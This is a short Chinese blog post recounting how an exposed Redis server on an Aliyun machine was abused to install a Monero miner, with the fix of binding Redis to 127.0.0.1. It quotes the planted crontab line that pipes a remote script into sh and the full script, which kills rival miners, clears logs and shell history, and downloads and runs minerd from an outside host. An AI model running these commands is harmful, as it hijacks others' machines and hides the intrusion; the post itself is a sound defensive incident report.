date: 2017-8-4 17:28:59
title: redis 漏洞導(dǎo)致被挖礦
事件回顧
用 Redis Desktop Manager 連接我在 aliyun 上的機器,突然發(fā)現(xiàn)多了一個鍵:
get agjriuqpxa
*/1 * * * * /usr/bin/curl -fsSL http://98.142.140.13:8220/test11.sh | sh
訪問 http://98.142.140.13:8220/test11.sh:
#!/bin/bash
(ps auxf|grep -v grep|grep stratum |awk '{print $2}'|xargs kill -9;crontab -r;pkill -9 minerd;pkill -9 i586;pkill -9 gddr;pkill -9 yam;echo > /var/log/wtmp;history -c;cd ~;curl -L http://98.142.140.13:8220/minerd -o minerd;chmod +x minerd;setsid /root/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x &>>/dev/null)
分析可知:
- 通過配置 crontab,下載 sh 腳本
- sh 腳本中下載挖礦文件
minerd
,然后運行
事件分析
redis 漏洞,可以回寫數(shù)據(jù)到本地文件,這樣就可以做很多事了:比如上面這樣,新增一個 crontab 來挖礦
how
這已經(jīng)是第三次經(jīng)歷挖礦了,第一次和第二次都是公司的 aliyun 測試機,大家發(fā)現(xiàn) cpu 跑滿,top 后發(fā)現(xiàn)了挖礦腳本。第一次清理了 crontab(包括用戶的和系統(tǒng)的),知道第二次再次出現(xiàn),才定位到是redis的漏洞。
處理辦法:
- 公司是修改
redis.conf
,添加bind 127.0.0.1
- 我 aliyun 上使用 docker 來部署的環(huán)境,所以上面 crontab 中的命令根本 跑不起來